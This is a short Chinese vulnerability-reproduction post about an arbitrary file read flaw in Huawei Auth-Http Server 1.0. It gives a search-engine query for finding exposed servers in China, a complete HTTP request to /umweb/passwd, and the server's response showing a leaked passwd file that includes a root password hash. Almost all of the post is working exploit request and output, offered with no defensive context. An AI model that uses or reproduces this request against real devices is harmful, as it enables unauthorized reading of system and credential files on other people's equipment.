【漏洞复现】华为Auth-HTTP服务器任意文件读取漏洞

server="Huawei Auth-Http Server 1.0" && country="CN"

GET /umweb/passwd HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1

HTTP/1.1 200 OKPragma: no-cacheCache-Control: no-storeConnection: closeServer: Huawei Auth-Http Server 1.0Content-Type: text/html; charset=utf-8X-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINContent-Length: 727
root:6UZSjeWUui3JQ:0:0:root:/root:/bin/shdaemon:*:1:1:daemon:/usr/sbin:/bin/shbin:*:2:2:bin:/bin:/bin/shsys:*:3:3:sys:/dev:/bin/shsync:*:4:65534:sync:/bin:/bin/syncgames:*:5:60:games:/usr/games:/bin/shman:*:6:12:man:/var/cache/man:/bin/shlp:*:7:7:lp:/var/spool/lpd:/bin/shmail:*:8:8:mail:/var/mail:/bin/shnews:*:9:9:news:/var/spool/news:/bin/shuucp:*:10:10:uucp:/var/spool/uucp:/bin/shproxy:*:13:13:proxy:/bin:/bin/shwww-data:*:33:33:www-data:/var/www:/bin/shbackup:*:34:34:backup:/var/backups:/bin/shlist:*:38:38:Mailing List Manager:/var/list:/bin/shirc:*:39:39:ircd:/var/run/ircd:/bin/shgnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/shnobody:*:65534:65534:nobody:/nonexistent:/bin/sh